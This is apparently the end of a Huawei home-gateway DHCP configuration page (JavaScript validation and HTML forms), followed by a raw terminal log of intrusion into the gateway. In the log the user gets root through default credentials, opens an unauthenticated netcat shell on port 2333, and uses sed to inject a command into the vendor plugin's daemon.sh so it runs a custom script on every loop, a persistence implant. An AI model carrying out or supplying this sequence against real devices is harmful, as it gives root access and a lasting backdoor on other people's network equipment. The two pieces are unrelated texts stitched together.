if ( isValidIpAddress(slaveIpAddress) == false )
{
return false;
}
if ( isValidSubnetMask(slaveSubnetMask) == false )
{
return false;
}
if (ClassAIpSupportFlag != 1)
{
if ( isMaskOf24BitOrMore(slaveSubnetMask) == false )
{
return false;
}
}
if(isHostIpWithSubnetMask(slaveIpAddress, slaveSubnetMask) == false)
{
return false;
}
if ( isBroadcastIp(slaveIpAddress, slaveSubnetMask) == true )
{
return false;
}
if(SlaveDhcpInfos[0] != null)
{
if((0 == LanAddrSplitFlag && 1 == SlaveDhcpInfos[0].enable) || (1 == LanAddrSplitFlag))
{
if (slaveIpAddress == ethIpAddress)
{
return false;
}
if(true==isSameSubNet(ethIpAddress, ethSubnetMask,slaveIpAddress,slaveSubnetMask))
{
return false;
}
}
}
if(( getValue('routeIP').split(".")[3] > 127 ) && (curUserType != sysUserType))
{
return false;
}
if (1 == ClassAIpSupportFlag)
{
for (var i = 0;i < GetWanList().length;i++)
{
var CurrentWan = GetWanList()[i];
if (CurrentWan.IPv4IPAddress != '0.0.0.0' && CurrentWan.IPv4SubnetMask != '0.0.0.0'
&& CurrentWan.IPv4IPAddress != '' && CurrentWan.IPv4SubnetMask != '' )
{
if (getValue('routeIP') == CurrentWan.IPv4IPAddress)
{
return false;
}
if (CurrentWan.IPv4Enable == "1")
{
if(true==isSameSubNet(getValue('routeIP'), getValue('ethSubnetMask'),
CurrentWan.IPv4IPAddress, CurrentWan.IPv4SubnetMask))
{
return false;
}
if(true==isSameSubNet(slaveIpAddress, slaveSubnetMask,
CurrentWan.IPv4IPAddress, CurrentWan.IPv4SubnetMask))
{
return false;
}
}
}
}
}
return result;
}
function CheckForm1(type)
{
var result = true;
var ethIpAddress = getValue('routeIP');
var ethSubnetMask = getValue('ethSubnetMask');
var slaveIpAddress = "192.168.2.1";
var slaveSubnetMask = "255.255.255.0";
if(gstuseallslvpool == "1")
{
if(true==isSameSubNet(ethIpAddress, ethSubnetMask,SlaveIpAddr,SlaveIpMask))
{
AlertEx(dhcp_language['bbsp_ipsamegusetip1'] + dhcp_language['bbsp_ipsamegusetip2'] + SlaveIpAddr);
return false;
}
}
if ( isValidIpAddress(ethIpAddress) == false )
{
AlertEx(dhcp_language['bbsp_ipmhaddrp'] + ethIpAddress + dhcp_language['bbsp_isinvalidp']);
return false;
}
if ( isValidSubnetMask(ethSubnetMask) == false )
{
AlertEx(dhcp_language['bbsp_subnetmaskmh'] + ethSubnetMask + dhcp_language['bbsp_isinvalidp']);
return false;
}
if (ClassAIpSupportFlag != 1)
{
if ( isMaskOf24BitOrMore(ethSubnetMask) == false )
{
AlertEx(dhcp_language['bbsp_subnetmaskmh'] + ethSubnetMask + dhcp_language['bbsp_isinvalidp'] + dhcp_language['bbsp_maskerrorinfo']);
return false;
}
}
if(isHostIpWithSubnetMask(ethIpAddress, ethSubnetMask) == false)
{
AlertEx(dhcp_language['bbsp_ipmhaddrp'] + ethIpAddress + dhcp_language['bbsp_isinvalidp']);
return false;
}
if ( isBroadcastIp(ethIpAddress, ethSubnetMask) == true )
{
AlertEx(dhcp_language['bbsp_ipmhaddrp'] + ethIpAddress + dhcp_language['bbsp_isinvalidp']);
return false;
}
if ( isValidIpAddress(slaveIpAddress) == false )
{
AlertEx(dhcp_language['bbsp_ipaddrp'] + slaveIpAddress + dhcp_language['bbsp_isinvalidp']);
return false;
}
if ( isValidSubnetMask(slaveSubnetMask) == false )
{
AlertEx(dhcp_language['bbsp_subnetmaskp'] + slaveSubnetMask + dhcp_language['bbsp_isinvalidp']);
return false;
}
if (ClassAIpSupportFlag != 1)
{
if ( isMaskOf24BitOrMore(slaveSubnetMask) == false )
{
AlertEx(dhcp_language['bbsp_subnetmaskp'] + slaveSubnetMask + dhcp_language['bbsp_isinvalidp'] + dhcp_language['bbsp_maskerrorinfo']);
return false;
}
}
if(isHostIpWithSubnetMask(slaveIpAddress, slaveSubnetMask) == false)
{
AlertEx(dhcp_language['bbsp_ipaddrp'] + slaveIpAddress + dhcp_language['bbsp_isinvalidp']);
return false;
}
if ( isBroadcastIp(slaveIpAddress, slaveSubnetMask) == true )
{
AlertEx(dhcp_language['bbsp_ipaddrp'] + slaveIpAddress + dhcp_language['bbsp_isinvalidp']);
return false;
}
if(SlaveDhcpInfos[0] != null)
{
if((0 == LanAddrSplitFlag && 1 == SlaveDhcpInfos[0].enable) || (1 == LanAddrSplitFlag))
{
if (slaveIpAddress == ethIpAddress)
{
AlertEx(dhcp_language['bbsp_pridhcpsecdhcp']);
return false;
}
if(true==isSameSubNet(ethIpAddress, ethSubnetMask,slaveIpAddress,slaveSubnetMask))
{
AlertEx(dhcp_language['bbsp_pridhcpsecdhcp']);
return false;
}
}
}
if(( getValue('routeIP').split(".")[3] > 127 ) && (curUserType != sysUserType))
{
AlertEx(dhcp_language['bbsp_iprangeinvalid']);
return false;
}
if (1 == ClassAIpSupportFlag)
{
for (var i = 0;i < GetWanList().length;i++)
{
var CurrentWan = GetWanList()[i];
if (CurrentWan.IPv4IPAddress != '0.0.0.0' && CurrentWan.IPv4SubnetMask != '0.0.0.0'
&& CurrentWan.IPv4IPAddress != '' && CurrentWan.IPv4SubnetMask != '' )
{
if (getValue('routeIP') == CurrentWan.IPv4IPAddress)
{
AlertEx(dhcp_language['bbsp_ipdifwan']);
return false;
}
if (CurrentWan.IPv4Enable == "1")
{
if(true==isSameSubNet(getValue('routeIP'), getValue('ethSubnetMask'),
CurrentWan.IPv4IPAddress, CurrentWan.IPv4SubnetMask))
{
AlertEx(dhcp_language['bbsp_lanwanipcheck']);
return false;
}
if(true==isSameSubNet(slaveIpAddress, slaveSubnetMask,
CurrentWan.IPv4IPAddress, CurrentWan.IPv4SubnetMask))
{
AlertEx(dhcp_language['bbsp_lanwanipcheck']);
return false;
}
}
}
}
}
if (CfgModeWord == 'SCCTAP')
{
if ((getValue('dnsMainPri') != '') && ((isValidIpAddress(getValue('dnsMainPri')) == false) ||
(isAbcIpAddress(getValue('dnsMainPri')) == false))) {
AlertEx(dhcp2_language['bbsp_pripoolpridnsinvalid']);
return false;
}
if ((getValue('dnsMainSec') != '') && ((isValidIpAddress(getValue('dnsMainSec')) == false) ||
(isAbcIpAddress(getValue('dnsMainSec')) == false))) {
AlertEx(dhcp2_language['bbsp_pripoolsecdndinvalid']);
return false;
}
}
return result;
}
function CheckForm2(type)
{
var IpMin;
var IPMax;
var routeIPRange = document.getElementById("routeIPRange").innerText;
var mainstartipaddr1 = routeIPRange + getValue('mainstartipaddr');
var mainendipaddr1 = routeIPRange + getValue('mainendipaddr');
with ( document.forms[0] )
{
if (1 == $('#dhcpSrvType').attr("DHCPServerFlag"))
{
if (isValidIpAddress(mainstartipaddr1) == false)
{
AlertEx(dhcp2_language['bbsp_pridhcpstipinvalid']);
return false;
}
if (isBroadcastIp(mainstartipaddr1, LanIpInfos[0].subnetmask) == true)
{
AlertEx(dhcp2_language['bbsp_pridhcpstipinvalid']);
return false;
}
if (isValidIpAddress(mainendipaddr1) == false)
{
AlertEx(dhcp2_language['bbsp_dhcpendipinvalid']);
return false;
}
if(isBroadcastIp(mainendipaddr1, LanIpInfos[0].subnetmask) == true)
{
AlertEx(dhcp2_language['bbsp_dhcpendipinvalid']);
return false;
}
if (!(isEndGTEStart(mainendipaddr1, mainstartipaddr1)))
{
AlertEx(dhcp2_language['bbsp_priendipgeqstartip']);
return false;
}
if(1 == gstwfpoolfeature)
{
if (!guestwififlag)
{
if((ConditionDhcpInfos[1].Gateway == LanIpInfos[0].ipaddr) &&
((IsLessThan(ConditionDhcpInfos[1].DhcpStart, mainendipaddr1) && IsLessThan(mainstartipaddr1, ConditionDhcpInfos[1].DhcpStart)) ||
(IsLessThan(ConditionDhcpInfos[1].DhcpStart, mainstartipaddr1) && IsLessThan(mainstartipaddr1, ConditionDhcpInfos[1].DhcpEnd))))
{
AlertEx(dhcp2_language['bbsp_mainpoolingstwfpool']);
return false;
}
}
}
if(PolicyRouteNum > 0)
{
var IpStartNew = mainstartipaddr1.split('.');
var IpEndNew = mainendipaddr1.split('.');
var IpMinNew = parseInt(IpStartNew[3]);
var IpMaxNew = parseInt(IpEndNew[3]);
var IpStartOld = MainDhcpRange[0].ipstart.split('.');
var IpEndOld = MainDhcpRange[0].ipend.split('.');
var IpMinOld = parseInt(IpStartOld[3]);
var IpMaxOld = parseInt(IpEndOld[3]);
if (IpMinNew > IpMinOld || IpMaxNew < IpMaxOld)
{
AlertEx(dhcp2_language['bbsp_ippoolpolicyrouteinvalid']);
return false;
}
}
if (false == checkLease("bbsp_pripool",getValue('MainLeasedTime'),getValue('maindhcpLeasedTimeFrag'),dhcp2_language))
{
return false;
}
}
}
return true;
}
function GetPolicyRouteListLength(PolicyRouteList, Type)
{
var Count = 0;
if (PolicyRouteList == null)
{
return 0;
}
for (var i = 0; i < PolicyRouteList.length; i++)
{
if (PolicyRouteList[i] == null)
{
continue;
}
if (PolicyRouteList[i].Type == Type)
{
Count++;
}
}
return Count;
}
function GetCurrentLoginIP()
{
var CurUrlHost = (window.location.host).toUpperCase();
var CurUrlIp = CurUrlHost.split(":")[0];
return CurUrlIp;
}
function AddSubmitParam1(Form,type)
{
var RequestFile = 'html/bbsp/landhcp/landhcp_ap.asp';
var enableslave = 1;
var url = '';
if(!(( 1 == IsTELECOMFlag) && (curUserType != sysUserType)))
{
with (document.forms[0])
{
Form.addParameter('x.IPInterfaceIPAddress',getValue('routeIP'));
Form.addParameter('x.IPInterfaceSubnetMask',getValue('ethSubnetMask'));
if ((SingtelMode == '1') || (gstuseallslvpool == "1"))
{
url = 'x=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.1';
}
else
{
Form.addParameter('z.Enable',enableslave);
var isSetGst = true;
if('1' == gstwfpoolfeature)
{
if(true == IsNeedDelCond2())
{
var ParameterList = '';
var Url = '/complexajax.cgi?&Del_w=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.DHCPConditionalServingPool.2' ;
HWGetAction(Url, ParameterList, getValue('onttoken'));
isSetGst = false;
}
if((isSetGst == true) && (ConditionDhcpInfos[1].gateway == LanHostInfos[1].ipaddr))
{
if(ConditionDhcpInfos[0].enable == '1')
{
Form.addParameter('w.Enable',enableslave);
}
else
{
Form.addParameter('w.Enable',ConditionDhcpInfos[0].enable);
}
if((enableslave == '1') && (ConditionDhcpInfos[0].enable == '1'))
{
Form.addParameter('w.MinAddress',ConditionDhcpInfos[1].ipstart);
Form.addParameter('w.MaxAddress',ConditionDhcpInfos[1].ipend);
}
}
}
if (enableslave == '1')
{
if (LanHostInfo2[0] == null)
{
$.ajax({
type : "POST",
async : false,
cache : false,
data : "z.IPInterfaceIPAddress="+slaveIpAddress +"&z.IPInterfaceSubnetMask="+slaveSubnetMask+"&z.Enable="+enableslave+"&x.X_HW_Token="+getValue('onttoken'),
url : 'add.cgi?'+ 'z=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface'+'&RequestFile=html/not_find_file.asp',
success : function(data) {
},
complete: function (XHR, TS) {
XHR=null;
}
});
}
else
{
Form.addParameter('z.IPInterfaceIPAddress',slaveIpAddress);
Form.addParameter('z.IPInterfaceSubnetMask',slaveSubnetMask);
}
}
if((isSetGst == true) && ('1' == gstwfpoolfeature))
{
url = 'x=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.1'
+ '&z=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.2'
+ '&w=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.DHCPConditionalServingPool.2' ;
}
else
{
url = 'x=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.1'
+ '&z=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.2';
}
}
var DHCPEnable = 0;
var DHCPL2RelayEnable = 1;
var Option125Enable = 1;
var url1 = '';
var DnsMStr = '';
var DHCPServerEnable = $("#dhcpSrvType").attr("DHCPServerFlag");
var MinAddress = document.getElementById("routeIPRange").innerText + getValue('mainstartipaddr');
var MaxAddress = document.getElementById("routeIPRange").innerText + getValue('mainendipaddr');
var DHCPLeaseTime = getValue('MainLeasedTime')*getValue('maindhcpLeasedTimeFrag');
if (CfgModeWord == 'SCCTAP')
{
DnsMStr = GetDnsMStr();
}
if(DHCPServerEnable == 1)
{
Form.addParameter('c.DHCPEnable',DHCPEnable);
Form.addParameter('d.DHCPServerEnable',DHCPServerEnable);
Form.addParameter('d.X_HW_DHCPL2RelayEnable',DHCPL2RelayEnable);
Form.addParameter('d.X_HW_Option125Enable',Option125Enable);
Form.addParameter('d.X_HW_DNSList', DnsMStr);
Form.addParameter('d.MinAddress',MinAddress);
Form.addParameter('d.MaxAddress',MaxAddress);
Form.addParameter('d.DHCPLeaseTime',DHCPLeaseTime);
if(url != '')
{
url1 = 'set.cgi?' + url
+ '&e=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.2'
+ '&c=InternetGatewayDevice.X_HW_DHCPSLVSERVER'
+'&d=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement';
}
else
{
url1 = 'set.cgi?'
+ 'e=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.2'
+ '&c=InternetGatewayDevice.X_HW_DHCPSLVSERVER'
+'&d=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement';
}
}
else
{
Form.addParameter('c.DHCPEnable',DHCPEnable);
Form.addParameter('d.DHCPServerEnable',DHCPServerEnable);
Form.addParameter('d.X_HW_DHCPL2RelayEnable',DHCPL2RelayEnable);
Form.addParameter('d.X_HW_Option125Enable',Option125Enable);
Form.addParameter('d.X_HW_DNSList','');
Form.addParameter('d.DHCPLeaseTime',DHCPLeaseTime);
if(url != '')
{
url1 = 'set.cgi?' + url
+ '&e=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.2'
+ '&c=InternetGatewayDevice.X_HW_DHCPSLVSERVER'
+'&d=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement';
}
else
{
url1 = 'set.cgi?'
+ 'e=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.2'
+ '&c=InternetGatewayDevice.X_HW_DHCPSLVSERVER'
+'&d=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement';
}
}
url1 += '&RequestFile=' + RequestFile;
Form.setAction(url1);
}
setDisable('dhcpSrvType',1);
}
}
function IsNeedDelCond2()
{
if((ConditionDhcpInfos[1].gateway == LanHostInfos[1].ipaddr) &&
((LanHostInfos[1].ipaddr != slaveIpAddress) || (LanHostInfos[1].subnetmask != slaveSubnetMask)))
{
return true;
}
if((ConditionDhcpInfos[1].gateway == LanHostInfos[0].ipaddr) &&
((LanHostInfos[0].ipaddr != getValue('routeIP')) || (LanHostInfos[1].subnetmask != getValue('ethSubnetMask'))))
{
return true;
}
return false;
}
</script>
</head>
<body onLoad="LoadFrame();" class="mainbody">
<script language="JavaScript" type="text/javascript">
HWCreatePageHeadInfo("dhcpstatic", GetDescFormArrayById(lanDHCP_language, "bbsp_mune"), GetDescFormArrayById(lanDHCP_language, "bbsp_dhcpstatic_title"), false);
</script>
<div class="title_spread"></div>
<form id="Lan_DHCPForm1">
<table id="DHCPformSet">
<tr>
<td>
<script>document.write(lanDHCP_language['lan_dhcp001']);</script>
</td>
<td class="text-align-left">
<input id="routeIP" class="routeIP" type="text" value="" onkeyup="routeIPChange(this.id)">
<input id="ethSubnetMask" class="routeIP" type="text" value="" style="display:none">
</td>
</tr>
<tr>
<td>
<script>document.write(lanDHCP_language["lan_dhcp002"]);</script>
</td>
<td class="text-align-left">
<div id="dhcpSrvType" DHCPServerFlag=""></div>
</td>
</tr>
<tr>
<td>
<script>document.write(lanDHCP_language["lan_dhcp003"]);</script>
</td>
<td class=" text-align-left" style="width:auto;">
<div id="routeIPRange"></div>
</td>
<td class="text-align-left" style="margin-left:0px;width:50px">
<input id="mainstartipaddr" class="IPSet" type="text" value="2">
</td>
<td class="text-align-left" style="margin-left:12px;width:20px">
--
</td>
<td class="text-align-left" style="margin-left:0px;width:50px">
<input id="mainendipaddr" class="IPSet" type="text" value="254">
</td>
</tr>
<tr>
<td>
<script>document.write(lanDHCP_language["lan_dhcp004"]);</script>
</td>
<td class="text-align-left td_width150">
<input id="MainLeasedTime" class="daysSet" type="text" value="3">
</td>
<td class="text-align-left td_width150" style="margin-left:10px;">
<select class="daysSet" id="maindhcpLeasedTimeFrag">
<option value="60"><script>document.write(lanDHCP_language["lan_dhcp005"]);</script></option>
<option value="3600"><script>document.write(lanDHCP_language["lan_dhcp006"]);</script></option>
<option value="86400"><script>document.write(lanDHCP_language["lan_dhcp007"]);</script></option>
<option value="604800"><script>document.write(lanDHCP_language["lan_dhcp008"]);</script></option>
</select>
</td>
</tr>
<tr id="DNSServerPri" style="display: none">
<td>
<script>document.write(dhcp2_language['bbsp_pridnsmh']);</script>
</td>
<td class="text-align-left">
<input id="dnsMainPri" type="text" class="routeIP" value="" maxlength="15">
</td>
</tr>
<tr id="DNSServerSec" style="display: none;">
<td>
<script>document.write(dhcp2_language['bbsp_secdnsmh']);</script>
</td>
<td class="text-align-left">
<input id="dnsMainSec" type="text" class="routeIP" value="" maxlength="15">
</td>
</tr>
</table>
</form>
<button type="button" class="LanDHCPButton ApplyButtoncss" onClick="RouteIPSubmit(0);"><script>document.write(lanDHCP_language["lan_dhcp009"]);</script></button>
<p style="margin:12px 0;"><script>document.write(lanDHCP_language['lan_dhcp010']);</script></p>
<script language="JavaScript" type="text/javascript">
var TableClass = new stTableClass("width_per25", "width_per75", "ltr");
var DhcpStaticConfiglistInfo = new Array(new stTableTileInfo("Empty","","DomainBox"),
new stTableTileInfo("bbsp_macaddrtitle","","macAddress"),
new stTableTileInfo("bbsp_ipaddrtitle","","ipAddress"),null);
var ColumnNum = 3;
var ShowButtonFlag = true;
var DhcpStaticTableConfigInfoList = new Array();
var TableDataInfo = HWcloneObject(Dhcp, 1);
TableDataInfo.push(null);
HWShowTableListByType(1, TableName, ShowButtonFlag, ColumnNum, TableDataInfo, DhcpStaticConfiglistInfo, dhcpstatic_language, null);
</script>
<form id="TableConfigInfo" style="display:none;">
<div class="list_table_spread"></div>
<table border="0" cellpadding="0" cellspacing="1" width="100%">
<li id="macAddr" RealType="TextBox" DescRef="bbsp_macaddr" RemarkRef="bbsp_macaddform" ErrorMsgRef="Empty" Require="FALSE" BindField="x.Chaddr" Elementclass="InputDhcp" InitValue="Empty"/>
<script language="JavaScript" type="text/javascript">
if (SingtelMode == '1')
{
document.write(" \<li id=\"ipAddr\" RealType=\"TextBox\" DescRef=\"bbsp_ipaddr\" RemarkRef=\"bbsp_ipaddform\" ErrorMsgRef=\"Empty\" Require=\"FALSE\" BindField=\"x.Yiaddr\" Elementclass=\"InputDhcp\" InitValue=\"Empty\"\/\> ");
}
else
{
document.write(" \<li id=\"ipAddr\" RealType=\"TextBox\" DescRef=\"bbsp_ipaddr\" RemarkRef=\"\" ErrorMsgRef=\"Empty\" Require=\"FALSE\" BindField=\"x.Yiaddr\" Elementclass=\"InputDhcp\" InitValue=\"Empty\"\/\> ");
}
</script>
</table>
<script language="JavaScript" type="text/javascript">
DhcpStaticConfigFormList = HWGetLiIdListByForm("TableConfigInfo", null);
HWParsePageControlByID("TableConfigInfo", TableClass, dhcpstatic_language, null);
</script>
<table cellpadding="0" cellspacing="0" width="100%" class="table_button">
<tr>
<td class='width_per25'></td>
<td class="table_submit">
<input type="hidden" name="onttoken" id="hwonttoken" value="4f4ac4a58356dd24610c977dcea82b4ade6a980b3e356030">
<button id="btnApply_ex" name="btnApply_ex" type="button" class="ApplyButtoncss buttonwidth_100px" onClick="AddSubmitParam();"><script>document.write(dhcpstatic_language['bbsp_apply']);</script></button>
<button id="cancel" name="cancel" type="button" class="CancleButtonCss buttonwidth_100px" onClick="Cancel();"><script>document.write(dhcpstatic_language['bbsp_cancle']);</script></button>
</td>
</tr>
</table>
</form>
<script>
$("#dhcpSrvType").click(function(){
if($(this).attr("DHCPServerFlag") == "1")
{
$("#dhcpSrvType").css("background-image","url(../../../images/equls-left.jpg)");
$(this).attr("DHCPServerFlag","0");
}
else
{
$("#dhcpSrvType").css("background-image","url(../../../images/equls-right.gif)");
$(this).attr("DHCPServerFlag","1");
}
changedisable();
})
function changedisable()
{
if($('#dhcpSrvType').attr("DHCPServerFlag") == "1")
{
setDisable('mainstartipaddr',0);
setDisable('mainendipaddr',0);
setDisable('MainLeasedTime',0);
setDisable('maindhcpLeasedTimeFrag',0);
}
else
{
setDisable('mainstartipaddr',1);
setDisable('mainendipaddr',1);
setDisable('MainLeasedTime',1);
setDisable('maindhcpLeasedTimeFrag',1);
}
}
</script>
</body>
</html>
panxf@LPT028958:~/code$
panxf@LPT028958:~/code$ nslookup www.baidu.com
Server: 10.255.255.254
Address: 10.255.255.254#53
www.baidu.com canonical name = www.a.shifen.com.
Name: www.a.shifen.com
Address: 180.101.49.44
Name: www.a.shifen.com
Address: 180.101.51.73
panxf@LPT028958:~/code$ nslookup www.x.com
Server: 10.255.255.254
Address: 10.255.255.254#53
Name: www.x.com
Address: 198.18.0.27
panxf@LPT028958:~/code$ ipconfig
Command 'ipconfig' not found, did you mean:
command 'hipconfig' from deb hipcc (5.2.3-12)
command 'iwconfig' from deb wireless-tools (30~pre9-13.1ubuntu4)
command 'ifconfig' from deb net-tools (2.10-0.1ubuntu4.4)
command 'iconfig' from deb ipmiutil (3.1.9-3)
Try: sudo apt install <deb name>
panxf@LPT028958:~/code$ telnet 192.168.1.9
Trying 192.168.1.9...
^C
panxf@LPT028958:~/code$ telnet 192.168.2.1
Trying 192.168.2.1...
^C
panxf@LPT028958:~/code$ telnet 192.168.2.1
Trying 192.168.2.1...
^C
panxf@LPT028958:~/code$ curl x.com
curl: (52) Empty reply from server
panxf@LPT028958:~/code$
panxf@LPT028958:~/code$
panxf@LPT028958:~/code$ nslookup www.x.com
Server: 10.255.255.254
Address: 10.255.255.254#53
Name: www.x.com
Address: 198.18.0.27
panxf@LPT028958:~/code$ curl x.com
curl: (52) Empty reply from server
panxf@LPT028958:~/code$ route ?
Usage: route [-nNvee] [-FC] [<AF>] List kernel routing tables
route [-v] [-FC] {add|del|flush} ... Modify routing table for AF.
route {-h|--help} [<AF>] Detailed usage syntax for specified AF.
route {-V|--version} Display version/author and exit.
-v, --verbose be verbose
-n, --numeric don't resolve names
-e, --extend display other/more information
-F, --fib display Forwarding Information Base (default)
-C, --cache display routing cache instead of FIB
<AF>=Use -4, -6, '-A <af>' or '--<af>'; default: inet
List of possible address families (which support routing):
inet (DARPA Internet) inet6 (IPv6) ax25 (AMPR AX.25)
netrom (AMPR NET/ROM) rose (AMPR ROSE) ipx (Novell IPX)
ddp (Appletalk DDP) x25 (CCITT X.25)
panxf@LPT028958:~/code$ which nc
/usr/bin/nc
panxf@LPT028958:~/code$ ping 192.168.2.1
PING 192.168.2.1 (192.168.2.1) 56(84) bytes of data.
64 bytes from 192.168.2.1: icmp_seq=1 ttl=63 time=3.63 ms
64 bytes from 192.168.2.1: icmp_seq=2 ttl=63 time=3.55 ms
^C
--- 192.168.2.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 3.553/3.591/3.630/0.038 ms
panxf@LPT028958:~/code$ telnet 192.168.2.1
Trying 192.168.2.1...
^C
panxf@LPT028958:~/code$ ^C
panxf@LPT028958:~/code$ telnet 192.168.1.9
Trying 192.168.1.9...
^C
panxf@LPT028958:~/code$ telnet 192.168.1.9
Trying 192.168.1.9...
telnet: Unable to connect to remote host: No route to host
panxf@LPT028958:~/code$
panxf@LPT028958:~/code$
panxf@LPT028958:~/code$
panxf@LPT028958:~/code$ nc 192.168.1.9 2333
panxf@LPT028958:~/code$
panxf@LPT028958:~/code$
panxf@LPT028958:~/code$
panxf@LPT028958:~/code$
panxf@LPT028958:~/code$ nc 192.168.1.9 2333
^C
panxf@LPT028958:~/code$
panxf@LPT028958:~/code$
panxf@LPT028958:~/code$
panxf@LPT028958:~/code$ telnet 192.168.1.9
Trying 192.168.1.9...
Connected to 192.168.1.9.
Escape character is '^]'.
Welcome Visiting Huawei Home Gateway
Copyright by Huawei Technologies Co., Ltd.
Login:root
Password:
The number of sessions exceeds the specificaitons. Remove one session:
1. telnet-192.168.1.20
Enter the ID of the session to be removed:
1
Password is default value, please modify it!
WAP>
Last login: User:root IP:192.168.1.20 Time:2025-09-21 00:21:17
WAP>su
success!
SU_WAP>
SU_WAP>
SU_WAP>Connection closed by foreign host.
panxf@LPT028958:~/code$ telnet 192.168.1.9
Trying 192.168.1.9...
telnet: Unable to connect to remote host: Connection refused
panxf@LPT028958:~/code$ telnet 192.168.2.1
Trying 192.168.2.1...
telnet: Unable to connect to remote host: Connection refused
panxf@LPT028958:~/code$ telnet 192.168.2.1
Trying 192.168.2.1...
telnet: Unable to connect to remote host: Connection refused
panxf@LPT028958:~/code$ ssh 192.168.2.1
The authenticity of host '192.168.2.1 (192.168.2.1)' can't be established.
RSA key fingerprint is SHA256:xUTavtza7rzUUfWcrMg2/1zhGfZ0I7uFW9Fd0OTuyyM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.1' (RSA) to the list of known hosts.
panxf@192.168.2.1's password:
panxf@LPT028958:~/code$ ssh root@192.168.2.1
root@192.168.2.1's password:
Password is default value, please modify it!
WAP>
Last login: User:root IP:192.168.1.20 Time:2025-09-20 12:00:55
WAP>
WAP>su
success!
SU_WAP>
SU_WAP>Connection to 192.168.2.1 closed by remote host.
Connection to 192.168.2.1 closed.
panxf@LPT028958:~/code$ nc 192.168.2.1 2333
ls
CuInform
bin
boot
ctcap
dev
etc
html
init
ipks
lib
libexec
linuxrc
mnt
proc
root
sbin
share
sys
tmp
usr
var
pwd
/
cd /sbin
ls
BackStackInfo.sh
GetChipDes
GetFeature
GetSpec
Reloadlog
SaveDhcpUser.sh
arp
blkid
brctl
busybox.suid
chpasswd
chroot
crond
depmod
dhcprelay
dnsmasq
get_feature_spec
getty
halt
hwclock
ifconfig
init
insmod
ip6tables
ip6tables-restore
ip6tables-save
ipset
iptables
iptables-restore
iptables-save
klogd
logread
lsmod
mdev
modprobe
nologin
ntpd
ontchmod
ontchown
ontmodown
reboot
release.sh
rmmod
route
setconsole
start-stop-daemon
sys_init.sh
sysctl
syslogd
vconfig
xtables-legacy-multi
ls
panxf@LPT028958:~/code$ nc 192.168.2.1 2333
panxf@LPT028958:~/code$
panxf@LPT028958:~/code$
panxf@LPT028958:~/code$ nc 192.168.2.1 2333
panxf@LPT028958:~/code$
panxf@LPT028958:~/code$ ls
CLAUDE.md SuperClaude_Framework word-memory-app word-memory-backend 单词记忆web应用需求文档.md 系统架构文档.md
panxf@LPT028958:~/code$ nc 192.168.2.1 2333
ls
CuInform
bin
boot
ctcap
dev
etc
html
init
ipks
lib
libexec
linuxrc
mnt
proc
root
sbin
share
sys
tmp
usr
var
cd /mnt/jffs2/app/cplugin/cplugin1/
ls
Data
Info.plugin
MyPlugin
MyPlugin.2
Temp
apLocalFlash
install_dir
cp -r MyPlugin MyPlugin.2
ls
Data
Info.plugin
MyPlugin
MyPlugin.2
Temp
apLocalFlash
install_dir
mv MyPlugin _MyPlugin
mv MyPlugin.2 MyPlugin
cd MyPlugin
chmod +w daemon.sh
sed -i '/Copyright/a cd ..;cd _MyPlugin;' daemon.sh
sed -i '/while true/a sh /mnt/jffs2/app/cplugin/cplugin1/cmd.sh' daemon.sh
cat daemon.sh
#!/bin/sh
# Copyright Huawei Technologies Co., Ltd. 2010-2020. All rights reserved.
export LD_LIBRARY_PATH=$(pwd)/Lib:/usr/lib/glib-2.0:$LD_LIBRARY_PATH
trap ' ./plugin_stop.sh; exit 1;' 15
while true ; do
./plugin_startup.sh
./plugin_monitor.sh
./plugin_keeplive.sh
done
sed -i '/Copyright/a cd ..;cd _MyPlugin;' daemon.sh
cat daemon.sh
#!/bin/sh
# Copyright Huawei Technologies Co., Ltd. 2010-2020. All rights reserved.
export LD_LIBRARY_PATH=$(pwd)/Lib:/usr/lib/glib-2.0:$LD_LIBRARY_PATH
trap ' ./plugin_stop.sh; exit 1;' 15
while true ; do
./plugin_startup.sh
./plugin_monitor.sh
./plugin_keeplive.sh
done
ls
Lib
Preload
bin
daemon.sh
etc
log
plugin_keeplive.sh
plugin_monitor.sh
plugin_startup.sh
plugin_stop.sh
pwd
/mnt/jffs2/app/cplugin/cplugin1/MyPlugin
ls -lt
drwxr-x--- 2 osgi_pro osgi 1384 Sep 11 2024 Lib
drwxr-x--- 2 osgi_pro osgi 160 Sep 11 2024 Preload
drwx------ 2 osgi_pro osgi 160 Sep 11 2024 bin
-r-xr-x--- 1 osgi_pro osgi 281 Sep 11 2024 daemon.sh
drwxr-x--- 4 osgi_pro osgi 288 Sep 11 2024 etc
drwxr-x--- 2 osgi_pro osgi 160 Sep 11 2024 log
-r-xr-x--- 1 osgi_pro osgi 93 Sep 11 2024 plugin_keeplive.sh
-r-xr-x--- 1 osgi_pro osgi 2103 Sep 11 2024 plugin_monitor.sh
-r-xr-x--- 1 osgi_pro osgi 6038 Sep 11 2024 plugin_startup.sh
-r-xr-x--- 1 osgi_pro osgi 129 Sep 11 2024 plugin_stop.sh
id
uid=3030(srv_clid) gid=2002(service) groups=5(tty),6(disk),500(kmc),2000(osgi),2001(config),2002(service)
cd ..
ls -lt
-rw------- 1 osgi_pro osgi 1623 Sep 16 23:36 apLocalFlash
drwxr-x--- 7 osgi_pro osgi 864 Sep 11 2024 MyPlugin
drwx------ 4 osgi_pro osgi 440 Jan 1 1981 Data
